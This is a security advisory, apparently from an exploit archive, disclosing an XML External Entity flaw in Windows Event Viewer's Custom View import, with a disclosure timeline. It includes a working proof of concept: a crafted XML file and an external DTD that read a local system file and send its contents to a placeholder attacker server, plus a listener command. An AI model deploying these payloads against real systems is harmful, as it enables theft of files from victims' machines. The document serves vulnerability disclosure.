Microsoft Event Viewer 1.0 - XML External Entity Injection Vulnerability

[+] Credits: John Page aka hyp3rlinx 
 
 
Vendor:
=================
www.microsoft.com
 
 
 
Product:
========================
Microsoft Event Viewer
Version: 1.0
 
The Windows Event Viewer shows a log of application and system messages –
errors, information messages, and warnings.
 
 
Vulnerability Type:
===================
XML External Entity
 
 
 
CVE Reference:
==============
N/A
 
 
 
Vulnerability Details:
=====================
 
Windows Event Viewer user can import 'Custom View' files, these files
contain XML, the parser processes External Entity potentially allowing
attackers
to gain remote file access to files on a victims system if user imports a
corrupt XML file via remote share/USB (or other untrusted source).
 
 
 
Tested Windows 7 SP1
 
 
Exploit code(s):
===============
 
 
1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer.
2) Action / Import Custom View
3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC
4) Files are accessed and sent to remote server.
 
User gets error like "The specified custom view is not valid" attacker gets
files!
 
 
 
"payload.dtd" (host on attacker server)
 
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">
%all;
 
 
"MyCustomView.xml"  (malicious windows Event Custom View XML)
 
<?xml version="1.0"?>
<!DOCTYPE APPARITION [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
 
 
Attacker server listener
 
python -m SimpleHTTPServer 8080
 
 
 
 
Disclosure Timeline:
=====================================
Vendor Notification: August 30, 2016
Vendor reply: "does not meet the bar for security servicing." August 30,
2016
December 4, 2016 : Public Disclosure

#  0day.today [2018-01-26]  #